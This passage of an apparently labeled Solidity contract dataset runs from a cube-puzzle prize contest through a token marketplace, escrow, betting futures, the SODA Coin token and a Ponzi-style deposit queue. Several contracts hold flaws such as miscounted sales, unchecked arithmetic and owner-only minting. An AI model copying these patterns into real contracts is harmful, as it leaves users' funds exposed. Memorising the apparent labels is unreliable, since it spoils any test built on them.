{ return currentWinner; } function getCurrentWinnerMoveCount() view public returns (uint) { return currentWinnerMoveCount; } function getBalance() view public returns (uint256) { return this.balance; } function getContestEndTime() view public returns (uint256) { return contestEndTime; } function addBalance() public payable { require(msg.sender == owner); } function verifySide(Color[9][6] memory aState, uint8 FACE, Color expectedColor) internal pure returns (bool) { return aState[FACE][0] == expectedColor && aState[FACE][1] == expectedColor && aState[FACE][2] == expectedColor && aState[FACE][3] == expectedColor && aState[FACE][4] == expectedColor && aState[FACE][5] == expectedColor && aState[FACE][6] == expectedColor && aState[FACE][7] == expectedColor && aState[FACE][8] == expectedColor; } function isSolved(Color[9][6] memory aState) public pure returns (bool) { return verifySide(aState, FRONT, Color.Red) && verifySide(aState, LEFT, Color.Blue) && verifySide(aState, UP, Color.Yellow) && verifySide(aState, RIGHT, Color.Green) && verifySide(aState, DOWN, Color.White) && verifySide(aState, BACK, Color.Orange); } function getInitialState() public view returns (Color[9][6]) { return state; } function shuffleFace(Color[9][6] memory aState, uint FACE) pure internal { Color[9] memory swap; swap[0] = aState[FACE][0]; swap[1] = aState[FACE][1]; swap[2] = aState[FACE][2]; swap[3] = aState[FACE][3]; swap[4] = aState[FACE][4]; swap[5] = aState[FACE][5]; swap[6] = aState[FACE][6]; swap[7] = aState[FACE][7]; swap[8] = aState[FACE][8]; aState[FACE][0] = swap[2]; aState[FACE][1] = swap[5]; aState[FACE][2] = swap[8]; aState[FACE][3] = swap[1]; aState[FACE][4] = swap[4]; aState[FACE][5] = swap[7]; aState[FACE][6] = swap[0]; aState[FACE][7] = swap[3]; aState[FACE][8] = swap[6]; } function shuffleDown(Color[9][6] memory aState) pure internal { shuffleFace(aState, DOWN); Color[12] memory swap; swap[0] = aState[FRONT][2]; swap[1] = aState[FRONT][5]; swap[2] = aState[FRONT][8]; swap[3] = aState[RIGHT][2]; swap[4] = aState[RIGHT][5]; swap[5] = aState[RIGHT][8]; swap[6] = aState[BACK][6]; swap[7] = aState[BACK][3]; swap[8] = aState[BACK][0]; swap[9] = aState[LEFT][2]; swap[10] = aState[LEFT][5]; swap[11] = aState[LEFT][8]; aState[FRONT][2] = swap[9]; aState[FRONT][5] = swap[10]; aState[FRONT][8] = swap[11]; aState[RIGHT][2] = swap[0]; aState[RIGHT][5] = swap[1]; aState[RIGHT][8] = swap[2]; aState[BACK][6] = swap[3]; aState[BACK][3] = swap[4]; aState[BACK][0] = swap[5]; aState[LEFT][2] = swap[6]; aState[LEFT][5] = swap[7]; aState[LEFT][8] = swap[8]; } function shuffleRight(Color[9][6] memory aState) pure internal { shuffleFace(aState, RIGHT); Color[12] memory swap; swap[0] = aState[UP][8]; swap[1] = aState[UP][7]; swap[2] = aState[UP][6]; swap[3] = aState[BACK][8]; swap[4] = aState[BACK][7]; swap[5] = aState[BACK][6]; swap[6] = aState[DOWN][8]; swap[7] = aState[DOWN][7]; swap[8] = aState[DOWN][6]; swap[9] = aState[FRONT][8]; swap[10] = aState[FRONT][7]; swap[11] = aState[FRONT][6]; aState[UP][8] = swap[9]; aState[UP][7] = swap[10]; aState[UP][6] = swap[11]; aState[BACK][8] = swap[0]; aState[BACK][7] = swap[1]; aState[BACK][6] = swap[2]; aState[DOWN][8] = swap[3]; aState[DOWN][7] = swap[4]; aState[DOWN][6] = swap[5]; aState[FRONT][8] = swap[6]; aState[FRONT][7] = swap[7]; aState[FRONT][6] = swap[8]; } function shuffleUp(Color[9][6] memory aState) pure internal { shuffleFace(aState, UP); Color[12] memory swap; swap[0] = aState[BACK][2]; swap[1] = aState[BACK][5]; swap[2] = aState[BACK][8]; swap[3] = aState[RIGHT][6]; swap[4] = aState[RIGHT][3]; swap[5] = aState[RIGHT][0]; swap[6] = aState[FRONT][6]; swap[7] = aState[FRONT][3]; swap[8] = aState[FRONT][0]; swap[9] = aState[LEFT][6]; swap[10] = aState[LEFT][3]; swap[11] = aState[LEFT][0]; aState[BACK][2] = swap[9]; aState[BACK][5] = swap[10]; aState[BACK][8] = swap[11]; aState[RIGHT][6] = swap[0]; aState[RIGHT][3] = swap[1]; aState[RIGHT][0] = swap[2]; aState[FRONT][6] = swap[3]; aState[FRONT][3] = swap[4]; aState[FRONT][0] = swap[5]; aState[LEFT][6] = swap[6]; aState[LEFT][3] = swap[7]; aState[LEFT][0] = swap[8]; } function shuffleLeft(Color[9][6] memory aState) pure internal { shuffleFace(aState, LEFT); Color[12] memory swap; swap[0] = aState[UP][0]; swap[1] = aState[UP][1]; swap[2] = aState[UP][2]; swap[3] = aState[FRONT][0]; swap[4] = aState[FRONT][1]; swap[5] = aState[FRONT][2]; swap[6] = aState[DOWN][0]; swap[7] = aState[DOWN][1]; swap[8] = aState[DOWN][2]; swap[9] = aState[BACK][0]; swap[10] = aState[BACK][1]; swap[11] = aState[BACK][2]; aState[UP][0] = swap[9]; aState[UP][1] = swap[10]; aState[UP][2] = swap[11]; aState[FRONT][0] = swap[0]; aState[FRONT][1] = swap[1]; aState[FRONT][2] = swap[2]; aState[DOWN][0] = swap[3]; aState[DOWN][1] = swap[4]; aState[DOWN][2] = swap[5]; aState[BACK][0] = swap[6]; aState[BACK][1] = swap[7]; aState[BACK][2] = swap[8]; } function shuffleFront(Color[9][6] memory aState) pure internal { shuffleFace(aState, FRONT); Color[12] memory swap; swap[0] = aState[UP][2]; swap[1] = aState[UP][5]; swap[2] = aState[UP][8]; swap[3] = aState[RIGHT][0]; swap[4] = aState[RIGHT][1]; swap[5] = aState[RIGHT][2]; swap[6] = aState[DOWN][6]; swap[7] = aState[DOWN][3]; swap[8] = aState[DOWN][0]; swap[9] = aState[LEFT][8]; swap[10] = aState[LEFT][7]; swap[11] = aState[LEFT][6]; aState[UP][2] = swap[9]; aState[UP][5] = swap[10]; aState[UP][8] = swap[11]; aState[RIGHT][0] = swap[0]; aState[RIGHT][1] = swap[1]; aState[RIGHT][2] = swap[2]; aState[DOWN][6] = swap[3]; aState[DOWN][3] = swap[4]; aState[DOWN][0] = swap[5]; aState[LEFT][8] = swap[6]; aState[LEFT][7] = swap[7]; aState[LEFT][6] = swap[8]; } function trySolution(uint8[] moves) public view returns (Color[9][6]) { Color[9][6] memory aState = state; for (uint i = 0; i < moves.length; i++) { if (moves[i] == FRONT) { shuffleFront(aState); } else if (moves[i] == LEFT) { shuffleLeft(aState); } else if (moves[i] == UP) { shuffleUp(aState); } else if (moves[i] == RIGHT) { shuffleRight(aState); } else if (moves[i] == DOWN) { shuffleDown(aState); } else { require(false); } } return aState; } function submitSolution(uint8[] moves) public { Submission(msg.sender, moves); require(now < contestEndTime); Color[9][6] memory stateAfterMoves = trySolution(moves); if (isSolved(stateAfterMoves)) { if(moves.length < currentWinnerMoveCount) { currentWinnerMoveCount = moves.length; currentWinner = msg.sender; NewLeader(msg.sender, moves); } } } function claim() public { require(now >= contestEndTime); require(msg.sender == currentWinner); msg.sender.transfer(this.balance); } }
0
1,858
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ListingsERC20 is Ownable { using SafeMath for uint256; struct Listing { address seller; address tokenContractAddress; uint256 price; uint256 allowance; uint256 dateStarts; uint256 dateEnds; } event ListingCreated(bytes32 indexed listingId, address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateStarts, uint256 dateEnds, address indexed seller); event ListingCancelled(bytes32 indexed listingId, uint256 dateCancelled); event ListingBought(bytes32 indexed listingId, address tokenContractAddress, uint256 price, uint256 amount, uint256 dateBought, address buyer); string constant public VERSION = "1.0.1"; uint16 constant public GAS_LIMIT = 4999; uint256 public ownerPercentage; mapping (bytes32 => Listing) public listings; mapping (bytes32 => uint256) public sold; function ListingsERC20(uint256 percentage) public { ownerPercentage = percentage; } function updateOwnerPercentage(uint256 percentage) external onlyOwner { ownerPercentage = percentage; } function withdrawBalance() onlyOwner external { assert(owner.send(this.balance)); } function approveToken(address token, uint256 amount) onlyOwner external { assert(ERC20(token).approve(owner, amount)); } function() external payable { } function getHash(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) external view returns (bytes32) { return getHashInternal(tokenContractAddress, price, allowance, dateEnds, salt); } function getHashInternal(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) internal view returns (bytes32) { return keccak256(msg.sender, tokenContractAddress, price, allowance, dateEnds, salt); } function getBalance(address tokenContract, address seller) internal constant returns (uint256) { return ERC20(tokenContract).balanceOf.gas(GAS_LIMIT)(seller); } function getAllowance(address tokenContract, address seller, address listingContract) internal constant returns (uint256) { return ERC20(tokenContract).allowance.gas(GAS_LIMIT)(seller, listingContract); } function createListing(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) external { require(price > 0); require(allowance > 0); require(dateEnds > 0); require(getBalance(tokenContractAddress, msg.sender) >= allowance); bytes32 listingId = getHashInternal(tokenContractAddress, price, allowance, dateEnds, salt); Listing memory listing = Listing(msg.sender, tokenContractAddress, price, allowance, now, dateEnds); listings[listingId] = listing; ListingCreated(listingId, tokenContractAddress, price, allowance, now, dateEnds, msg.sender); } function cancelListing(bytes32 listingId) external { Listing storage listing = listings[listingId]; require(msg.sender == listing.seller); delete listings[listingId]; ListingCancelled(listingId, now); } function buyListing(bytes32 listingId, uint256 amount) external payable { Listing storage listing = listings[listingId]; address seller = listing.seller; address contractAddress = listing.tokenContractAddress; uint256 price = listing.price; uint256 sale = price.mul(amount); uint256 allowance = listing.allowance; require(now <= listing.dateEnds); require(allowance - sold[listingId] >= amount); require(getBalance(contractAddress, seller) >= amount); require(getAllowance(contractAddress, seller, this) >= amount); require(msg.value == sale); ERC20 tokenContract = ERC20(contractAddress); require(tokenContract.transferFrom(seller, msg.sender, amount)); seller.transfer(sale - (sale.mul(ownerPercentage).div(10000))); sold[listingId] = allowance.sub(amount); ListingBought(listingId, contractAddress, price, amount, now, msg.sender); } }
1
4,126
pragma solidity ^0.4.0; contract EscrowGoods { struct EscrowInfo { address buyer; uint lockedFunds; uint frozenFunds; uint64 frozenTime; uint16 count; bool buyerNo; bool sellerNo; } uint16 constant internal None = 0; uint16 constant internal Available = 1; uint16 constant internal Canceled = 2; uint16 constant internal Buy = 1; uint16 constant internal Accept = 2; uint16 constant internal Reject = 3; uint16 constant internal Cancel = 4; uint16 constant internal Description = 10; uint16 constant internal Unlock = 11; uint16 constant internal Freeze = 12; uint16 constant internal Resolved = 13; uint constant arbitrationPeriod = 30 days; uint constant safeGas = 25000; address public seller; uint public contentCount = 0; uint public logsCount = 0; address public arbiter; uint public freezePeriod; uint public feePromille; uint public rewardPromille; uint public feeFunds; uint public totalEscrows; mapping (uint => EscrowInfo) public escrows; uint16 public status; uint16 public count; uint16 public availableCount; uint16 public pendingCount; uint public price; mapping (address => bool) public buyers; bool private atomicLock; event LogDebug(string message); event LogEvent(uint indexed lockId, string dataInfo, uint indexed version, uint16 eventType, address indexed sender, uint count, uint payment); modifier onlyOwner { if (msg.sender != seller) throw; _; } modifier onlyArbiter { if (msg.sender != arbiter) throw; _; } function EscrowGoods(address _arbiter, uint _freezePeriod, uint _feePromille, uint _rewardPromille, uint16 _count, uint _price) { seller = msg.sender; arbiter = _arbiter; freezePeriod = _freezePeriod; feePromille = _feePromille; rewardPromille = _rewardPromille; status = Available; count = _count; price = _price; availableCount = count; } function logDebug(string message) internal { logsCount++; LogDebug(message); } function logEvent(uint lockId, string dataInfo, uint version, uint16 eventType, address sender, uint count, uint payment) internal { contentCount++; LogEvent(lockId, dataInfo, version, eventType, sender, count, payment); } function kill() onlyOwner { if(totalEscrows > 0) { logDebug("totalEscrows > 0"); return; } if(feeFunds > 0) { logDebug("feeFunds > 0"); return; } suicide(msg.sender); } function safeSend(address addr, uint value) internal { if(atomicLock) throw; atomicLock = true; if (!(addr.call.gas(safeGas).value(value)())) { atomicLock = false; throw; } atomicLock = false; } function yes(uint _lockId, string _dataInfo, uint _version) { EscrowInfo info = escrows[_lockId]; if(info.lockedFunds == 0) { logDebug("info.lockedFunds == 0"); return; } if(msg.sender != info.buyer && msg.sender != seller) { logDebug("msg.sender != info.buyer && msg.sender != seller"); return; } uint payment = info.lockedFunds; if(payment > this.balance) { logDebug("payment > this.balance"); return; } if(msg.sender == info.buyer) { safeSend(seller, payment); } else if(msg.sender == seller) { safeSend(info.buyer, payment); } else { logDebug("unknown msg.sender"); return; } if(totalEscrows > 0) totalEscrows -= 1; info.lockedFunds = 0; logEvent(_lockId, _dataInfo, _version, Unlock, msg.sender, info.count, payment); } function no(uint _lockId, string _dataInfo, uint _version) { EscrowInfo info = escrows[_lockId]; if(info.lockedFunds == 0) { logDebug("info.lockedFunds == 0"); return; } if(msg.sender != info.buyer && msg.sender != seller) { logDebug("msg.sender != info.buyer && msg.sender != seller"); return; } if(info.frozenFunds == 0) { info.frozenFunds = info.lockedFunds; info.frozenTime = uint64(now); } if(msg.sender == info.buyer) { info.buyerNo = true; } else if(msg.sender == seller) { info.sellerNo = true; } else { logDebug("unknown msg.sender"); return; } logEvent(_lockId, _dataInfo, _version, Freeze, msg.sender, info.count, info.lockedFunds); } function arbYes(uint _lockId, address _who, uint _payment, string _dataInfo, uint _version) onlyArbiter { EscrowInfo info = escrows[_lockId]; if(info.lockedFunds == 0) { logDebug("info.lockedFunds == 0"); return; } if(info.frozenFunds == 0) { logDebug("info.frozenFunds == 0"); return; } if(_who != seller && _who != info.buyer) { logDebug("_who != seller && _who != info.buyer"); return; } if(!info.buyerNo || !info.sellerNo) { logDebug("!info.buyerNo || !info.sellerNo"); return; } if(_payment > info.lockedFunds) { logDebug("_payment > info.lockedFunds"); return; } if(_payment > this.balance) { logDebug("_payment > this.balance"); return; } uint reward = (info.lockedFunds * rewardPromille) / 1000; if(reward > (info.lockedFunds - _payment)) { logDebug("reward > (info.lockedFunds - _payment)"); return; } safeSend(_who, _payment); info.lockedFunds -= _payment; feeFunds += info.lockedFunds; info.lockedFunds = 0; logEvent(_lockId, _dataInfo, _version, Resolved, msg.sender, info.count, _payment); } function getFees() onlyArbiter { if(feeFunds > this.balance) { logDebug("feeFunds > this.balance"); return; } safeSend(arbiter, feeFunds); feeFunds = 0; } function getMoney(uint _lockId) { EscrowInfo info = escrows[_lockId]; if(info.lockedFunds == 0) { logDebug("info.lockedFunds == 0"); return; } if(info.frozenFunds == 0) { logDebug("info.frozenFunds == 0"); return; } if(now < (info.frozenTime + freezePeriod)) { logDebug("now < (info.frozenTime + freezePeriod)"); return; } uint payment = info.lockedFunds; if(payment > this.balance) { logDebug("payment > this.balance"); return; } if(info.buyerNo && info.sellerNo) { if(now < (info.frozenTime + freezePeriod + arbitrationPeriod)) { logDebug("now < (info.frozenTime + freezePeriod + arbitrationPeriod)"); return; } safeSend(info.buyer, payment); info.lockedFunds = 0; return; } if(info.buyerNo) { safeSend(info.buyer, payment); info.lockedFunds = 0; return; } if(info.sellerNo) { safeSend(seller, payment); info.lockedFunds = 0; return; } } function addDescription(string _dataInfo, uint _version) onlyOwner { logEvent(0, _dataInfo, _version, Description, msg.sender, 0, 0); } function buy(uint _lockId, string _dataInfo, uint _version, uint16 _count) payable { if(status != Available) throw; if(msg.value < (price * _count)) throw; if(_count > availableCount) throw; if(_count == 0) throw; if(feePromille > 1000) throw; if(rewardPromille > 1000) throw; if((feePromille + rewardPromille) > 1000) throw; EscrowInfo info = escrows[_lockId]; if(info.lockedFunds > 0) throw; uint fee = (msg.value * feePromille) / 1000; if(fee > msg.value) throw; uint funds = (msg.value - fee); feeFunds += fee; totalEscrows += 1; info.buyer = msg.sender; info.lockedFunds = funds; info.frozenFunds = 0; info.buyerNo = false; info.sellerNo = false; info.count = _count; pendingCount += _count; buyers[msg.sender] = true; logEvent(_lockId, _dataInfo, _version, Buy, msg.sender, _count, msg.value); } function accept(uint _lockId, string _dataInfo, uint _version) onlyOwner { EscrowInfo info = escrows[_lockId]; if(info.count > availableCount) { logDebug("info.count > availableCount"); return; } if(info.count > pendingCount) { logDebug("info.count > pendingCount"); return; } pendingCount -= info.count; availableCount -= info.count; logEvent(_lockId, _dataInfo, _version, Accept, msg.sender, info.count, info.lockedFunds); } function reject(uint _lockId, string _dataInfo, uint _version) onlyOwner { EscrowInfo info = escrows[_lockId]; if(info.count > pendingCount) { logDebug("info.count > pendingCount"); return; } pendingCount -= info.count; yes(_lockId, _dataInfo, _version); logEvent(_lockId, _dataInfo, _version, Reject, msg.sender, info.count, info.lockedFunds); } function cancel(string _dataInfo, uint _version) onlyOwner { status = Canceled; logEvent(0, _dataInfo, _version, Cancel, msg.sender, availableCount, 0); } function unbuy() { buyers[msg.sender] = false; } function () { throw; } }
0
312
pragma solidity ^0.4.24; contract BettingInterface { function placeBet(bytes32 horse) external payable; function claim_reward() external; mapping (bytes32 => bool) public winner_horse; function checkReward() external constant returns (uint); } contract HorseFutures { event Claimed(address indexed Race, uint256 Count); event Selling(bytes32 Id, uint256 Amount, uint256 Price, address indexed Race, bytes32 Horse, address indexed Owner); event Buying(bytes32 Id, uint256 Amount, uint256 Price, address indexed Race, bytes32 Horse, address indexed Owner); event Canceled(bytes32 Id, address indexed Owner,address indexed Race); event Bought(bytes32 Id, uint256 Amount, address indexed Owner, address indexed Race); event Sold(bytes32 Id, uint256 Amount, address indexed Owner, address indexed Race); event BetPlaced(address indexed EthAddr, address indexed Race); struct Offer { uint256 Amount; bytes32 Horse; uint256 Price; address Race; bool BuyType; } mapping(address => mapping(address => mapping(bytes32 => uint256))) ClaimTokens; mapping(address => mapping (bytes32 => uint256)) TotalTokensCoinRace; mapping(address => bool) ClaimedRaces; mapping(address => uint256) toDistributeRace; mapping(bytes32 => Offer) market; mapping(bytes32 => address) owner; mapping(address => uint256) public marketBalance; function placeBet(bytes32 horse, address race) external payable _validRace(race) { BettingInterface raceContract = BettingInterface(race); raceContract.placeBet.value(msg.value)(horse); uint256 c = uint256(msg.value / 1 finney); ClaimTokens[msg.sender][race][horse] += c; TotalTokensCoinRace[race][horse] += c; emit BetPlaced(msg.sender, race); } function getOwnedAndTotalTokens(bytes32 horse, address race) external view _validRace(race) returns(uint256,uint256) { return (ClaimTokens[msg.sender][race][horse],TotalTokensCoinRace[race][horse]); } function() public payable { } function claim(address race) external _validRace(race) { BettingInterface raceContract = BettingInterface(race); if(!ClaimedRaces[race]) { toDistributeRace[race] = raceContract.checkReward(); raceContract.claim_reward(); ClaimedRaces[race] = true; } uint256 totalWinningTokens = 0; uint256 ownedWinningTokens = 0; bool btcWin = raceContract.winner_horse(bytes32("BTC")); bool ltcWin = raceContract.winner_horse(bytes32("LTC")); bool ethWin = raceContract.winner_horse(bytes32("ETH")); if(btcWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("BTC")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("BTC")]; ClaimTokens[msg.sender][race][bytes32("BTC")] = 0; } if(ltcWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("LTC")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("LTC")]; ClaimTokens[msg.sender][race][bytes32("LTC")] = 0; } if(ethWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("ETH")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("ETH")]; ClaimTokens[msg.sender][race][bytes32("ETH")] = 0; } uint256 claimerCut = toDistributeRace[race] / totalWinningTokens * ownedWinningTokens; msg.sender.transfer(claimerCut); emit Claimed(race, claimerCut); } function sellOffer(uint256 amount, uint256 price, address race, bytes32 horse) external _validRace(race) _validHorse(horse) returns (bytes32) { uint256 ownedAmount = ClaimTokens[msg.sender][race][horse]; require(ownedAmount >= amount); require(amount > 0); bytes32 id = keccak256(abi.encodePacked(amount,price,race,horse,true,block.timestamp)); require(owner[id] == address(0)); Offer storage newOffer = market[id]; newOffer.Amount = amount; newOffer.Horse = horse; newOffer.Price = price; newOffer.Race = race; newOffer.BuyType = false; ClaimTokens[msg.sender][race][horse] -= amount; owner[id] = msg.sender; emit Selling(id,amount,price,race,horse,msg.sender); return id; } function getOffer(bytes32 id) external view returns(uint256,bytes32,uint256,address,bool) { Offer memory off = market[id]; return (off.Amount,off.Horse,off.Price,off.Race,off.BuyType); } function buyOffer(uint256 amount, uint256 price, address race, bytes32 horse) external payable _validRace(race) _validHorse(horse) returns (bytes32) { require(amount > 0); require(price > 0); require(msg.value == price * amount); bytes32 id = keccak256(abi.encodePacked(amount,price,race,horse,false,block.timestamp)); require(owner[id] == address(0)); Offer storage newOffer = market[id]; newOffer.Amount = amount; newOffer.Horse = horse; newOffer.Price = price; newOffer.Race = race; newOffer.BuyType = true; owner[id] = msg.sender; emit Buying(id,amount,price,race,horse,msg.sender); return id; } function cancelOrder(bytes32 id) external { require(owner[id] == msg.sender); Offer memory off = market[id]; if(off.BuyType) { msg.sender.transfer(off.Amount * off.Price); } else { ClaimTokens[msg.sender][off.Race][off.Horse] += off.Amount; } emit Canceled(id,msg.sender,off.Race); delete market[id]; delete owner[id]; } function buy(bytes32 id, uint256 amount) external payable { require(owner[id] != address(0)); require(owner[id] != msg.sender); Offer storage off = market[id]; require(!off.BuyType); require(amount <= off.Amount); uint256 cost = off.Price * amount; require(msg.value >= cost); ClaimTokens[msg.sender][off.Race][off.Horse] += amount; marketBalance[owner[id]] += msg.value; emit Bought(id,amount,msg.sender, off.Race); if(off.Amount == amount) { delete market[id]; delete owner[id]; } else { off.Amount -= amount; } } function sell(bytes32 id, uint256 amount) external { require(owner[id] != address(0)); require(owner[id] != msg.sender); Offer storage off = market[id]; require(off.BuyType); require(amount <= off.Amount); uint256 cost = amount * off.Price; ClaimTokens[msg.sender][off.Race][off.Horse] -= amount; ClaimTokens[owner[id]][off.Race][off.Horse] += amount; marketBalance[owner[id]] -= cost; marketBalance[msg.sender] += cost; emit Sold(id,amount,msg.sender,off.Race); if(off.Amount == amount) { delete market[id]; delete owner[id]; } else { off.Amount -= amount; } } function withdraw() external { msg.sender.transfer(marketBalance[msg.sender]); marketBalance[msg.sender] = 0; } modifier _validRace(address race) { require(race != address(0)); _; } modifier _validHorse(bytes32 horse) { require(horse == bytes32("BTC") || horse == bytes32("ETH") || horse == bytes32("LTC")); _; } }
0
832
pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract SodaCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "SOC"; name = "SODA Coin"; decimals = 18; _totalSupply = 2000000000000000000000000000; balances[0xC713b7c600Bb0e70c2d4b466b923Cab1E45e7c76] = _totalSupply; emit Transfer(address(0), 0xC713b7c600Bb0e70c2d4b466b923Cab1E45e7c76, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function totalSupplyIncrease(uint256 _supply) public onlyOwner{ _totalSupply = _totalSupply + _supply; balances[msg.sender] = balances[msg.sender] + _supply; } }
1
3,079
pragma solidity ^0.4.25; interface TwelveHourTokenInterface { function fallback() external payable; function buy(address _referredBy) external payable returns (uint256); function exit() external; } contract TwelveHourFastTrain { address public owner; address public twelveHourTokenAddress; TwelveHourTokenInterface public TwelveHourToken; uint256 constant private THT_TOKEN_OWNERS = 10; address constant private PROMO = 0xC63eA85CC823c440319013d4B30E19b66466642d; uint constant public PROMO_PERCENT = 1; uint constant public MULTIPLIER = 120; uint constant public MAX_DEPOSIT = 1 ether; uint constant public MIN_DEPOSIT = 0.05 ether; uint256 constant public VERIFY_REFERRAL_PRICE = 0.01 ether; uint256 constant public REFERRAL = 3; uint constant public LAST_DEPOSIT_PERCENT = 10; LastDeposit public last; mapping(address => bool) public referrals; struct Deposit { address depositor; uint128 deposit; uint128 expect; } struct LastDeposit { address depositor; uint expect; uint depositTime; } Deposit[] public queue; uint public currentReceiverIndex = 0; modifier onlyOwner() { require(msg.sender == owner); _; } modifier disableContract() { require(tx.origin == msg.sender); _; } function setTwelveHourToken(address _addr) public onlyOwner { twelveHourTokenAddress = _addr; TwelveHourToken = TwelveHourTokenInterface(twelveHourTokenAddress); } constructor() public { owner = msg.sender; } function () public payable { if (msg.sender != twelveHourTokenAddress) invest(0x0); } function invest(address _referral) public payable disableContract { if(msg.value == 0 && msg.sender == last.depositor) { require(gasleft() >= 220000, "We require more gas!"); require(last.depositTime + 12 hours < now, "Last depositor should wait 12 hours to claim reward"); uint128 money = uint128((address(this).balance)); if(money >= last.expect){ last.depositor.transfer(last.expect); } else { last.depositor.transfer(money); } delete last; } else if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value >= MIN_DEPOSIT, "Deposit must be >= 0.01 ETH and <= 1 ETH"); uint256 valueDeposit = msg.value; if(valueDeposit > MAX_DEPOSIT) { msg.sender.transfer(valueDeposit - MAX_DEPOSIT); valueDeposit = MAX_DEPOSIT; } uint256 _profitTHT = valueDeposit * THT_TOKEN_OWNERS / 100; sendProfitTHT(_profitTHT); queue.push(Deposit(msg.sender, uint128(valueDeposit), uint128(valueDeposit*MULTIPLIER/100))); last.depositor = msg.sender; last.expect += valueDeposit*LAST_DEPOSIT_PERCENT/100; last.depositTime = now; uint promo = valueDeposit*PROMO_PERCENT/100; PROMO.transfer(promo); uint devFee = valueDeposit*2/100; owner.transfer(devFee); uint256 _referralBonus = valueDeposit * REFERRAL/100; if (_referral != 0x0 && _referral != msg.sender && referrals[_referral] == true) address(_referral).transfer(_referralBonus); else owner.transfer(_referralBonus); pay(); } } function pay() private { uint128 money = uint128((address(this).balance)-last.expect); for(uint i=0; i<queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; if(money >= dep.expect){ dep.depositor.transfer(dep.expect); money -= dep.expect; delete queue[idx]; }else{ dep.depositor.transfer(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex += i; } function sendProfitTHT(uint256 profitTHT) private { buyTHT(calEthSendToTHT(profitTHT)); exitTHT(); } function exitTHT() private { TwelveHourToken.exit(); } function calEthSendToTHT(uint256 _eth) private pure returns(uint256 _value) { _value = _eth * 100 / 64; } function buyTHT(uint256 _value) private { TwelveHourToken.fallback.value(_value)(); } function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function verifyReferrals() public payable disableContract { require(msg.value >= VERIFY_REFERRAL_PRICE); referrals[msg.sender] 